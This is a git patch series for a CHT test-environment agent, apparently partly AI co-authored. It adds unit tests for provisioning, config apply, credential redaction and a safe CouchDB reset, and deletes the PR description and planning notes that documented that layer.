@@ -206,7 +299,11 @@ describe('TestEnvironmentAgent', () => {
           process.env.CHT_URL = 'https://cht.example/';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({
+            version: '4.18.0',
+            allowExternalTarget: true,
+            auth: { user: 'ops', password: 'opspass' },
+          });
 
           expect(handle.url).to.equal('https://cht.example');
           expect(fetchStub.firstCall.args[0]).to.equal('https://cht.example/api/v2/monitoring');
@@ -218,7 +315,7 @@ describe('TestEnvironmentAgent', () => {
           process.env.CHT_URL = 'https://ops:p%40ss@cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
 
           expect(handle.url).to.equal('https://cht.example');
           expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p@ss' });
@@ -230,7 +327,7 @@ describe('TestEnvironmentAgent', () => {
           process.env.CHT_URL = 'https://ops:p%ss@cht.example';
           const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
 
-          const handle = await realAgent.provision({ version: '4.18.0' });
+          const handle = await realAgent.provision({ version: '4.18.0', allowExternalTarget: true });
 
           expect(handle.auth).to.deep.equal({ user: 'ops', password: 'p%ss' });
           expect(handle.url).to.equal('https://cht.example');
@@ -256,6 +353,7 @@ describe('TestEnvironmentAgent', () => {
           const handle = await realAgent.provision({
             version: '4.18.0',
             auth: { user: 'explicit', password: 'explicitpass' },
+            allowExternalTarget: true,
           });
 
           expect(handle.auth).to.deep.equal({ user: 'explicit', password: 'explicitpass' });
@@ -450,6 +548,47 @@ describe('TestEnvironmentAgent', () => {
         expect(passed.cwd).to.equal('/mnt/conf');
       });
 
+      it('should fail an artifact-targeted apply when no form bucket contains that artifact', async () => {
+        runBucketStub.restore();
+        runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) =>
+          Promise.resolve({
+            action: opts.action,
+            status: 'skipped' as const,
+            commands: [],
+            warnings: [],
+            matchedNothing: true,
+          })
+        );
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, {
+          actions: ['app-forms', 'contact-forms'],
+          artifact: 'pregnency',
+        });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('no configured form bucket contains an artifact');
+      });
+
+      it('should succeed when one form bucket has the artifact and the other legitimately misses', async () => {
+        runBucketStub.restore();
+        runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
+          const missed = opts.action === 'contact-forms';
+          return Promise.resolve({
+            action: opts.action,
+            status: missed ? ('skipped' as const) : ('uploaded' as const),
+            commands: [],
+            warnings: [],
+            matchedNothing: missed,
+          });
+        });
+        const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+
+        const result = await realAgent.applyConfig(dockerHandle, { artifact: 'pregnancy' });
+
+        expect(result.succeeded).to.equal(true);
+      });
+
       it('should report succeeded:false when a bucket fails, without aborting the rest', async () => {
         runBucketStub.restore();
         runBucketStub = sinon.stub(chtConfRunner, 'runBucket').callsFake((opts) => {
@@ -824,10 +963,15 @@ describe('TestEnvironmentAgent', () => {
     const tiers: ResetTier[] = ['couchdb', 'restart', 'full'];
 
     tiers.forEach(tier => {
-      it(`should resolve in mock mode for the "${tier}" tier`, async () => {
+      it(`should report a no-op reset result in mock mode for the "${tier}" tier`, async () => {
         const handle = await provisionMock();
 
-        expect(await agent.reset(handle, tier)).to.equal(undefined);
+        const result = await agent.reset(handle, tier);
+
+        expect(result.tier).to.equal(tier);
+        expect(result.wiped).to.equal(0);
+        expect(result.reseeded).to.equal(0);
+        expect(result.protectedSkipped).to.deep.equal([]);
       });
     });
 
@@ -852,8 +996,9 @@ describe('TestEnvironmentAgent', () => {
       it('should print a runnable restart gate quoting the cht-core path (human-gated, agent runs no Docker)', async () => {
         const logSpy = sinon.spy(console, 'log');
 
-        await realAgent.reset(dockerHandle, 'restart');
+        const result = await realAgent.reset(dockerHandle, 'restart');
 
+        expect(result.performedBy).to.equal('human-gate');
         const lines = logSpy.getCalls().map((call) => String(call.args[0]));
         expect(lines.some((line) => line.includes("scripts/test-env-restart.sh '/workspace/cht-core'"))).to.equal(
           true
@@ -920,8 +1065,10 @@ describe('TestEnvironmentAgent', () => {
         };
 
         it('should be a no-op when nothing was seeded for this environment', async () => {
-          await agentUnderTest.reset(dockerHandle, 'couchdb');
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
 
+          expect(result.wiped).to.equal(0);
+          expect(result.reseeded).to.equal(0);
           expect(fetchDocRevsStub.called).to.equal(false);
           expect(bulkDocsStub.called).to.equal(false);
           expect(runChtConfStub.called).to.equal(false);
@@ -950,6 +1097,7 @@ describe('TestEnvironmentAgent', () => {
             { id: 'place-1', rev: '7-live' },
             { id: 'person-1', rev: '2-tomb', deleted: true },
           ]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
 
           await agentUnderTest.reset(dockerHandle, 'couchdb');
 
@@ -1072,6 +1220,96 @@ describe('TestEnvironmentAgent', () => {
           expect(reseedCall.timeoutMs).to.equal(240_000);
         });
 
+        it('should report what the reset actually did', async () => {
+          await seedTracking();
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(result).to.deep.equal({
+            tier: 'couchdb',
+            wiped: 2,
+            reseeded: 2,
+            performedBy: 'agent',
+            protectedSkipped: [],
+          });
+        });
+
+        it('should accept an explicit worklist so a handle reloaded elsewhere can drive the reset', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb', {
+            dataPath,
+            docIds: ['place-1', 'person-1'],
+          });
+
+          expect(fetchDocRevsStub.calledOnceWith('https://nginx', dockerHandle.auth, ['place-1', 'person-1']))
+            .to.equal(true);
+          expect(result.wiped).to.equal(2);
+        });
+
+        it('should refuse to wipe protected config ids supplied in the worklist', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          fetchDocRevsStub.resolves([{ id: 'place-1', rev: '7-live' }]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb', {
+            dataPath,
+            docIds: ['place-1', 'settings', 'form:pregnancy', 'org.couchdb.user:chw'],
+          });
+
+          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1']);
+          expect(result.protectedSkipped).to.deep.equal([
+            'settings',
+            'form:pregnancy',
+            'org.couchdb.user:chw',
+          ]);
+        });
+
+        it('should reject an explicit docIds worklist with no dataPath to reseed from', async () => {
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb', { docIds: ['place-1'] });
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('also needs options.dataPath');
+          }
+        });
+
+        it('should report ids the seed refused as protected, and never wipe them', async () => {
+          readSeededDocsStub.returns([
+            { id: 'place-1', type: 'clinic' },
+            { id: 'person-1', type: 'person' },
+            { id: 'settings', type: 'clinic' },
+          ]);
+          await seedTracking();
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1', 'person-1']);
+          expect(result.protectedSkipped).to.deep.equal(['settings']);
+        });
+
+        it('should throw when _bulk_docs acknowledges fewer deletions than were submitted', async () => {
+          await seedTracking();
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('acknowledged 1 of 2');
+          }
+        });
+
+        it('should track environments separately when parallel networks share the service hostname', async () => {
+          await seedTracking();
+          const otherEnv: EnvironmentHandle = { ...dockerHandle, network: 'cht-agent-net-2' };
+
+          const result = await agentUnderTest.reset(otherEnv, 'couchdb');
+
+          expect(result.wiped).to.equal(0);
+          expect(fetchDocRevsStub.called).to.equal(false);
+        });
+
         it('should clear the tracking on teardown, so a later couchdb reset is a no-op', async () => {
           await seedTracking();
 
diff --git a/test/utils/cht-api.spec.ts b/test/utils/cht-api.spec.ts
index 7871250c..97609c7b 100644
--- a/test/utils/cht-api.spec.ts
+++ b/test/utils/cht-api.spec.ts
@@ -188,12 +188,27 @@ describe('cht-api', () => {
       }
     });
 
-    it('normalizes a non-array response body to []', async () => {
-      fetchStub.resolves(jsonResponse({ unexpected: true }));
+    it('refuses to follow a redirect on an authenticated request', async () => {
+      fetchStub.resolves(jsonResponse({}, 302));
 
-      const outcome = await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+      try {
+        await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+        expect.fail('expected bulkDocs to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('unexpected redirect');
+      }
+      expect(fetchStub.firstCall.args[1].redirect).to.equal('manual');
+    });
 
-      expect(outcome).to.deep.equal([]);
+    it('throws on a non-array response body (a wipe must not read as zero failures)', async () => {
+      fetchStub.resolves(jsonResponse({ unexpected: true }));
+
+      try {
+        await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+        expect.fail('expected bulkDocs to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('non-array body');
+      }
     });
   });
 });
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
index f18a07b1..51f22303 100644
--- a/test/utils/cht-conf-runner.spec.ts
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -394,7 +394,7 @@ describe('cht-conf-runner', () => {
       expect(result.warnings.join(' ')).to.include('artifact targeting ignored');
     });
 
-    it('resolves skipped with a warning when the run had nothing to upload (unmatched form filter)', async () => {
+    it('flags an artifact-targeted miss without judging it (applyConfig weighs the buckets)', async () => {
       const proc = makeFakeProc();
       const { runBucket } = loadRunner(proc);
 
@@ -402,6 +402,20 @@ describe('cht-conf-runner', () => {
       proc.stdout.emit('data', Buffer.from('No matches found for files matching form filter: pregnency.xml\n'));
       proc.emit('close', 0);
 
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+      expect(result.matchedNothing).to.equal(true);
+      expect(result.warnings.join(' ')).to.include('matched no artifact named "pregnency"');
+    });
+
+    it('keeps a missing bucket input as skipped (cht-core config/default has no branding.json)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'resources' }));
+      proc.stdout.emit('data', Buffer.from('No configuration file found at path: /mnt/conf/branding.json\n'));
+      proc.emit('close', 0);
+
       const result = await promise;
       expect(result.status).to.equal('skipped');
       expect(result.warnings.join(' ')).to.include('nothing to upload');
@@ -419,6 +433,53 @@ describe('cht-conf-runner', () => {
       expect(result.warnings.join(' ')).to.include('no upload or skip line');
     });
 
+    it('surfaces cht-conf output on a failed bucket (a bare exit code explains nothing)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stderr.emit('data', Buffer.from('ERROR Form pregnancy.xml is invalid: missing instance\n'));
+      proc.emit('close', 1);
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('missing instance');
+    });
+
+    it('redacts credentials cht-conf echoed into its own output', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf({
+        verbs: ['upload-docs'],
+        instanceUrl: 'https://medic:password@nginx/',
+        configPath: '/mnt/data',
+      });
+      proc.stdout.emit('data', Buffer.from('INFO Using url https://medic:password@nginx/medic\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.output).to.include('https://***:***@nginx/medic');
+      expect(result.output).to.not.include('password');
+    });
+
+    it('redacts a password containing @ without leaking its tail', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf({
+        verbs: ['upload-docs'],
+        instanceUrl: 'https://admin:p@ssw0rd@nginx/',
+        configPath: '/mnt/data',
+      });
+      proc.stdout.emit('data', Buffer.from('INFO url https://admin:p@ssw0rd@nginx/medic\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.output).to.include('https://***:***@nginx/medic');
+      expect(result.output).to.not.include('ssw0rd');
+    });
+
     it('passes the cwd through to the spawned bucket process', async () => {
       const proc = makeFakeProc();
       const { runBucket, spawnLog } = loadRunner(proc);

From 6765388a10d39f735946dd57d9f5870199092fbd Mon Sep 17 00:00:00 2001
From: Hareet <hareet.sandhu@gmail.com>
Date: Mon, 24 Aug 2026 23:25:56 -0600
Subject: [PATCH 17/24] chore(#66): drop the working docs from the branch

PR_66_DESCRIPTION.md and docs/handoffs/66-phase2-applyconfig-implementation.md were
working artifacts, not deliverables: the PR body carries the description, and main has
no docs/handoffs convention.

The self-signed-TLS note that only existed in PR_66_DESCRIPTION.md was moved into
scripts/test-env-up.sh and the agent's real-path defaults comment beforehand, so no
operator guidance is lost with the file.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
---
 .gitignore                                    |   3 +
 PR_66_DESCRIPTION.md                          | 192 ------------------
 .../66-phase2-applyconfig-implementation.md   | 134 ------------
 scripts/test-env-down.sh                      |  14 +-
 scripts/test-env-restart.sh                   |  14 +-
 scripts/test-env-up.sh                        |  74 ++++++-
 .../test-environment-agent.mock-data.ts       |   2 +-
 src/agents/test-environment-agent.ts          |  23 ++-
 src/utils/cht-conf-runner.ts                  |  29 ++-
 src/utils/test-data.ts                        |   2 +-
 test/agents/test-environment-agent.spec.ts    |  13 ++
 test/utils/cht-conf-runner.spec.ts            |  29 ++-
 12 files changed, 168 insertions(+), 361 deletions(-)
 delete mode 100644 PR_66_DESCRIPTION.md
 delete mode 100644 docs/handoffs/66-phase2-applyconfig-implementation.md

diff --git a/.gitignore b/.gitignore
index 1087c130..6b6d4db9 100644
--- a/.gitignore
+++ b/.gitignore
@@ -16,3 +16,6 @@ log
 
 # Research output files
 outputs/
+
+# Managed cht-core checkout (scripts/test-env-up.sh with no path)
+.cht-core/
diff --git a/PR_66_DESCRIPTION.md b/PR_66_DESCRIPTION.md
deleted file mode 100644
index 5364097a..00000000
--- a/PR_66_DESCRIPTION.md
+++ /dev/null
@@ -1,192 +0,0 @@
-# feat(#66): Test Environment Layer — provisioning, config discovery, test data, config apply
-
-Closes #66. Enables #64 (QA Supervisor pipeline invocation).
-
-## 1. What this PR delivers
-
-The **Test Environment Layer** for the cht-agent QA Supervisor: a deterministic
-(no-LLM) orchestrator that stands up a live CHT instance, applies a cht-conf
-config, reads the deployed config back, seeds conforming test data, and resets
-between runs — all **human-gated for Docker** (the agent runs no Docker; a human
-brings the environment up/down) and **credential-safe** (creds ride the cht-conf
-`--url` arg / the HTTP `Authorization` header, never a log line).
-
-It is the layer that drove the closed-loop demo's QA phase live; this PR ships it
-at **workbench parity minus the cht-conf-extension pieces** (which land in their
-own PR — see the deferred map in §7). The pipeline/LangGraph wiring that *invokes*
-this layer arrives with #64; this PR ships the layer + its direct-use surface.
-
-### Real paths implemented
-- **`provision`** — human-gated bring-up (`scripts/test-env-up.sh <cht-core>`) +
-  a bounded, backing-off readiness poll of `/api/v2/monitoring`.
-- **`applyConfig`** — one `cht` invocation per upload bucket (app-settings /
-  app-forms / contact-forms / resources), status parsed from stdout
-  (`uploaded` / `skipped` / `failed`), buckets independent so one failure does
-  not abort the rest.
-- **`discoverConfig`** — `GET /api/v1/settings` + the `form:` `_all_docs` range,
-  parsed into `DiscoveredConfig` (contact types, roles, permissions, transitions,
-  forms, and `formVersions` — each installed form's rev, the change-detection
-  hash for the apply → verify loop).
-- **`prepareTestData`** — cht-conf `csv-to-docs` + `upload-docs` seed the
-  instance, then `create-users` when `users.csv` exists; seeded doc ids are
-  tracked per environment.
-- **`reset('couchdb')`** — the one reset the agent performs itself over the
-  CouchDB HTTP API: wipe the tracked docs at their **current** revs, then reseed
-  pristine copies (reseed source pre-flighted before the destructive wipe, so a
-  vanished data project fails closed). `restart`/`full` stay human-gated.
-- **`teardown`** — prints the human `docker compose down -v` gate and clears the
-  per-env tracking.
-
-## 2. Implementation map
-
-| File | Role |
-|---|---|
-| `src/utils/cht-conf-runner.ts` | `child_process` isolation for cht-conf: `runChtConf` (generic, ordered verb list) + `runBucket` (config-upload buckets), `classifyChtConfOutput`, `minimalEnv` (secret-free child env), `resolveChtConfBin` (`CHT_CONF_BIN` seam). |
-| `src/utils/cht-api.ts` | `fetch` isolation for CHT/CouchDB: `fetchSettings`, `fetchFormRevs`, `fetchDocRevs`, `bulkDocs` (bounded, authed, cred-safe). |
-| `src/utils/test-data.ts` | fs isolation + cht-conf stdout parsers: `readSeededDocs`, `cleanSeededDocs`, `classifySeededDocs`, `parseUploadDocsSummary`, `countCreatedUsers`, `hasUsersCsv`. |
-| `src/agents/test-environment-agent.ts` | The orchestrator (mock + real paths). Docker-free; delegates every side effect to the isolation modules above. |
-| `src/agents/test-environment-agent.mock-data.ts` | Deterministic mock fixtures (CI-safe, no instance). |
-| `src/types/index.ts` | Layer types (Config/Discovery/Provision/Runner/apply sets; `app-settings-only`; `instanceUrl` REQUIRED). |
-| `src/utils/cht-readiness.ts` | Readiness poll (Phase 1). |
-| `scripts/test-env-up.sh`, `scripts/test-env-down.sh`, `docker/cht-agent-net.override.yml` | Human-gated bring-up/teardown + compose override (Phase 1). |
-
-## 3. Test surface
-
-`build` + `test` + `lint` are green after **every** commit (Node 22). Full suite:
-**1112 passing**. Real-path specs mock `fetch` / `child_process` / `fs`, so the
-suite is green with **no instance and no Docker**.
-
-| Layer spec | `it`s |
-|---|---|
-| `test/utils/cht-conf-runner.spec.ts` | 26 |
-| `test/utils/cht-api.spec.ts` | 13 |
-| `test/utils/test-data.spec.ts` | 19 |
-| `test/agents/test-environment-agent.spec.ts` | 72 |
-| `test/utils/cht-readiness.spec.ts` | 4 |
-| **Layer total** | **134** |
-
-## 4. Environment seams
-
-- **`CHT_CONF_BIN`** — override the cht-conf binary (default `cht`); lets the
-  agent run a deployment-pinned cht-conf and lets specs stub a fake script.
-- **`CHT_URL`** — `provision()` falls back to it for the instance URL
-  (`options.url` → `CHT_URL` (trimmed; blank ignored) → the on-network default
-  `https://nginx`). The resolved `handle.url` is canonicalized (trailing slash
-  stripped) and stripped of any embedded basic-auth creds (which survive only as
-  an auth fallback, `decodeUserinfo`-decoded, tolerating a raw `%`).
-- **`COUCHDB_USER` / `COUCHDB_PASSWORD`** — the instance-auth seam, the same one
-  `scripts/test-env-up.sh` uses for the bring-up, so a non-default password needs
-  no code change. Auth precedence: `options.auth` → URL-embedded creds →
-  `COUCHDB_*` env → the default `medic`/`password`.
-- **`ProvisionOptions.url` / `ProvisionOptions.auth`** — the highest-precedence
-  target + creds the handle carries; every downstream call reads
-  `handle.url`/`handle.auth`.
-- **`useMockDocker`** (constructor) — mock mode is the default; `false` selects
-  the real paths. This is what keeps CI Docker-free.
-- **`scripts/test-env-up.sh <cht-core>`** — the human-gated bring-up seam.
-
-## 5. Standalone guarantee + independent cht-core demo
-
-Zero imports from workflow / cht-conf-extension code. Real-path specs mock
-`fetch`/`child_process` → the suite is green with no instance and no Docker.
-
-The demo below exercises the **whole layer in real mode**
-(`useMockDocker: false`) against a real dockerized CHT, entirely in Docker:
-the CHT stack comes up human-gated on `cht-agent-net`, and the layer runs in
-a disposable container on the same network, reaching the instance at the
-layer's native `https://nginx` default through the `CHT_URL` seam (§4).
-
-**1. Bring CHT up** (human-gated — the layer itself never runs Docker):
-
-```bash
-scripts/test-env-up.sh ~/src/cht-core    # local images + stack, joined to cht-agent-net
-```
-
-**2. Start a disposable runner on the same network** (from this repo's root):
-
-```bash
-docker run --rm -it --network cht-agent-net \
-  -v "$PWD":/app -w /app \
-  -v "$HOME/src/cht-core/config/default":/config/default:ro \
-  -e CHT_URL=https://nginx \
-  -e NODE_TLS_REJECT_UNAUTHORIZED=0 \
-  node:22 bash
-```
-
-(`NODE_TLS_REJECT_UNAUTHORIZED=0` covers the dev stack's self-signed cert for
-the layer's own `fetch`; the cht-conf child already runs with
-`--accept-self-signed-certs`.)
-
-**3. Inside the container — build, then drive every layer method:**
-
-```bash
-npm ci && npm run build && npm install -g cht-conf
-mkdir -p /tmp/demo-data/csv && printf 'name\nDemo CHW\n' > /tmp/demo-data/csv/person.csv
-
-node -e "
-const { TestEnvironmentAgent } = require('./dist/agents/test-environment-agent');
-(async () => {
-  const agent = new TestEnvironmentAgent({ useMockDocker: false });
-  const handle = await agent.provision({ chtCorePath: '~/src/cht-core' });
-  const config = await agent.discoverConfig(handle);
-  console.log('forms deployed:', Object.keys(config.formVersions ?? {}).length);
-  const apply = await agent.applyConfig(handle, '/config/default');
-  console.log('apply:', apply.actions.map(a => a.action + '=' + a.status).join(', '));
-  const seeded = await agent.prepareTestData(handle, config, { dataPath: '/tmp/demo-data' });
-  console.log('seeded:', JSON.stringify(seeded));
-  await agent.reset(handle, 'couchdb');                 // wipe + reseed the tracked docs
-  await agent.teardown(handle);                          // prints the human down-gate
-})();"
-```
-
-No URL or credentials are passed to any call: `provision()` resolves the
-instance from the `CHT_URL` env seam and the default auth, strips/canonicalizes
-it onto the handle, and every downstream method reads the handle — the §4
-seams doing their job. Expected: the readiness poll returns, discovery reports
-the deployed forms, all four upload buckets run, the demo person seeds, the
-couchdb-tier reset wipes and reseeds it, and teardown prints the human
-down-gate.
-
-Mock mode (`useMockDocker`, the default) mirrors the same call sequence
-CI-safe — it is what the spec suite drives. Ticket-driven invocation of this
-sequence is #64's scope; this PR ships the layer and the direct-use surface.
-
-## 6. Excision proof (no cht-conf-extension code)
-
-```
-$ grep -rn "fetchFormXml\|verifyArtifact\|fetchDeployedFormXml\|runOfflineConvert\
-\|createConvertSandbox\|skipValidate\|xform-inspect\|config-type\|cht-conf-tier2\
-\|qa-workflow\|XlsformBindDiff" src/ test/
-$ echo $?
-1        # no matches → empty → clean
-```
-
-## 7. Deferred cht-conf-extension map (verbatim boundary)
-
-**Ported with excisions** (the stripped items are the cht-conf extension):
-
-| Workbench source | Stripped in this PR |
-|---|---|
-| `src/agents/test-environment-agent.ts` | `verifyArtifact`, `fetchDeployedFormXml`, and their imports (`fetchFormXml`, `verifyFormBinds`) |
-| `src/utils/cht-api.ts` | `fetchFormXml` |
-| `src/utils/cht-conf-runner.ts` | offline-convert block (`runOfflineConvert`, `createConvertSandbox`, `CONVERT_VERBS`, `SANDBOX_EXCLUDES`, `OfflineConvertOptions`), `skipValidate`; `instanceUrl` restored to REQUIRED |
-| `src/types/index.ts` | `VerifyArtifact*`, `QaInput`/`QaResult`/`QaTier2Result`, `XlsformBindDiff`, offline-convert optionals |
-| spec files | describes for the stripped exports (`fetchFormXml`, `verifyArtifact`, `runOfflineConvert`, `createConvertSandbox`, F2/F5 xform describes) |
-
-**Not ported at all** (whole files → cht-conf-extension PR):
-`xform-inspect.ts`, `config-type.ts`, `cht-conf-tier2.ts`, `cht-conf-test-spec.ts`,
-`qa-workflow.ts`, `orchestrator.ts` wiring, CLI flags.
-
-## 8. Commits (on `66-test-environment-layer-implementation`, rebased onto `origin/main` @ `fdf4af2`)
-
-- `feat(#66): phase-2 parity uplift — cht-conf runner to workbench parity minus excisions`
-- `feat(#66): phase 3 — discoverConfig + cht-api, prepareTestData + test-data, couchdb-tier reset`
-- `test(#66): layer spec suite ported (agent real paths, cht-api, test-data)`
-- `docs(#66): handoff status, PR description, deferred cht-conf-extension map`
-- `feat(#66): provision env-seam parity — CHT_URL fallback, cred stripping, COUCHDB_* auth seam`
-- `chore(#66): review hygiene — dead doc refs, stale roadmap note, should-style agent spec titles`
-- `refactor(#66): sonar round — complexity ≤5 extractions, dedicated matchers, api polish`
-- `refactor(#66): sonar — noteUnknownType 5->4 params (S107 max-params)`
-
-(Phases 1–2 groundwork — provision/readiness/scripts/apply shape — is the branch's
-pre-existing history, replayed unchanged by the rebase.)
diff --git a/docs/handoffs/66-phase2-applyconfig-implementation.md b/docs/handoffs/66-phase2-applyconfig-implementation.md
deleted file mode 100644
index 08a31109..00000000
--- a/docs/handoffs/66-phase2-applyconfig-implementation.md
+++ /dev/null
@@ -1,134 +0,0 @@
-# #66 Phase 2 — real `applyConfig` implementation plan
-
-> **Status — 2026-07-18 (DONE, phases 2 + 3 landed).** This plan is fully
-> implemented, and Phase 3 (`discoverConfig` + `cht-api.ts`, `prepareTestData` +
-> `test-data.ts`, the couchdb-tier reset) has been ported alongside it from the
-> workbench lineage. The layer is at workbench parity **minus** the deferred
-> cht-conf-extension pieces (`verifyArtifact`/`fetchDeployedFormXml`/`fetchFormXml`,
-> the offline-convert block, `skipValidate`, `xform-inspect`) — see
-> `PR_66_DESCRIPTION.md` for the excision + per-function parity proofs and the
-> deferred-boundary map. `applyConfig`/`discoverConfig`/`prepareTestData`/
-> `reset('couchdb')` real paths are all live; `provision` stays at the Phase-1
-> shape. Gates green after every commit (Node 22): `build` + `test` (1104 passing,
-> 126 in the layer) + `lint`. All work is on local branch
-> `66-test-environment-layer-implementation` (rebased onto `origin/main` @
-> `fdf4af2`); the operator owns the push + `gh pr create`.
->
-> Phase 1 (provision/reset/teardown real paths) + the Phase-2 *shape* (action selector,
-> `ConfigApplyResult`, `ConfigActionStatus`) already landed (`f954cb9`). This plan fills the
-> `applyConfig` `!useMockDocker` branch that currently throws `NOT_IMPLEMENTED`. Same
-> human-gated, no-Docker invariants as Phase 1. This is the artifact-upload half of the
-> cht-conf validate loop (#134 PR5 step 4); test-data seeding (`prepareTestData`) is Phase 3.
-
-## 0. Verified contract (cht-conf CLI — `medic/cht-conf` wiki, 2026-06-27)
-
-- **Binary:** `cht` (cht-conf is baked into the agent image globally per #114; agent
-  allow-list already sanctions `Bash(cht:*)`). Invoke via `child_process` (recommendation
-  doc lists every config verb as `child_process` — this is NOT Docker, so it's allowed).
-- **Instance target:** `cht --url=<url> <action> [<action>…]` where `<url>` embeds creds,
-  e.g. `https://medic:password@nginx`. `--source=<path>` points at the project dir (the
-  mounted `CHT_CONF_PATH`, or cht-core's in-repo `config/default`). Named actions run in the
-  given order (doc example: `cht --instance=example validate-app-forms upload-app-forms`).
-- **MUST pass for autonomous use (cht-conf prompts on stdin otherwise → the agent hangs):**
-  - `--force` — skip ALL confirmation prompts (incl. the "both changed → view diff / overwrite
-    / abort" form-conflict prompt and check-git's keyInYN). Doc labels it "DANGEROUS"; for a
-    throwaway test instance it's correct.
-  - `--skip-git-check` (we're on a local branch with a hardened RO .git/config), `--skip-version-check`,
-    `--skip-dependency-check`, `--skip-translation-check`.
-  - `--accept-self-signed-certs` — the env is `https://nginx` with a self-signed cert.
-  - Consider `--verbose` so stdout carries per-form "skip (no changes)" / "uploaded" lines we
-    classify on (see status mapping). Do NOT pass `--silent` (we need the lines).
-- **Status semantics (confirmed, drives `ConfigActionStatus`):** upload verbs do hash-based
-  change detection. "If local and remote versions are identical → **skip (no changes)**";
-  "both changed → prompt" (suppressed by `--force` → overwrite = uploaded). cht-conf exits 0
-  for both upload and skip, so **`skipped` vs `uploaded` is parsed from stdout, not exit code**;
-  **`failed` = non-zero exit** (or a thrown spawn error). Exit code alone is insufficient.
-- **Form targeting (`artifact` field):** `args-form-filter` restricts an upload to named forms
-  via positional args after the action — `cht … upload-app-forms <formId>` (e.g. `pregnancy`).
-  Maps `ApplyConfigOptions.artifact` → the positional form filter on the `app-forms` /
-  `contact-forms` buckets. (No-op for `app-settings`/`resources`; document that.)
-- **Bucket → verb mapping (already in `CONFIG_ACTION_COMMANDS`, verified against the doc):**
-  - `app-settings`  → `compile-app-settings`, `upload-app-settings`
-  - `app-forms`     → `convert-app-forms`, `upload-app-forms`   (+ optional `validate-app-forms`)
-  - `contact-forms` → `convert-contact-forms`, `upload-contact-forms`
-  - `resources`     → `upload-resources`, `upload-branding`, `upload-custom-translations`
-
-## 1. Design decisions to lock before coding
-
-1. **One `cht` invocation per bucket, not per verb.** Pass the bucket's verbs as ordered
-   actions in a single `cht --url=… --source=… <verb1> <verb2> …` call. Rationale: cht-conf
-   runs named actions in sequence in one process; per-verb spawns would re-pay startup and
-   lose the convert→upload ordering guarantee. `ConfigActionResult.commands` already records
-   the verb list for evidence.
-2. **No `--force` blast radius beyond the bucket.** `--force` is scoped to the single bucket
-   invocation; we still run buckets independently so one bucket's failure doesn't abort the
-   rest (collect per-bucket status, set top-level `succeeded = no bucket failed`).
-3. **`artifact` targeting only applies to form buckets.** When `artifact` is set and the
-   bucket is `app-forms`/`contact-forms`, append it as the positional form filter to the
-   `upload-*-forms` verb (and the matching `convert`). For `app-settings`/`resources`, ignore
-   it and emit a warning into `ConfigActionResult.warnings` ("artifact targeting ignored for
-   <bucket>").
-4. **Credentials come from the handle, never logged.** Build the URL from
-   `handle.url` + `handle.auth` → `https://<user>:<pass>@<host>`. **Redact creds in every
-   log line** (log `handle.url`, never the cred-embedded URL). Mirrors the sandbox stance.
-5. **Status parsing is a small pure helper** (`classifyChtConfOutput(stdout, exitCode)`),
-   unit-tested in isolation against captured cht-conf output fixtures — don't bury the regex
-   in the spawn callback. `failed` if exit≠0; else `skipped` if every form line says skipped
-   / "no changes" and nothing uploaded; else `uploaded`.
-6. **Timeout + no shell.** Use `spawn(executablePath, args, { shell: false })` like
-   `src/llm/providers/claude-cli.ts` (explicit arg array, no string interpolation into a
-   shell → no injection via `artifact`/`configPath`). Bound each bucket with a generous
-   timeout (form conversion + upload can take a minute); kill + mark `failed` on timeout.
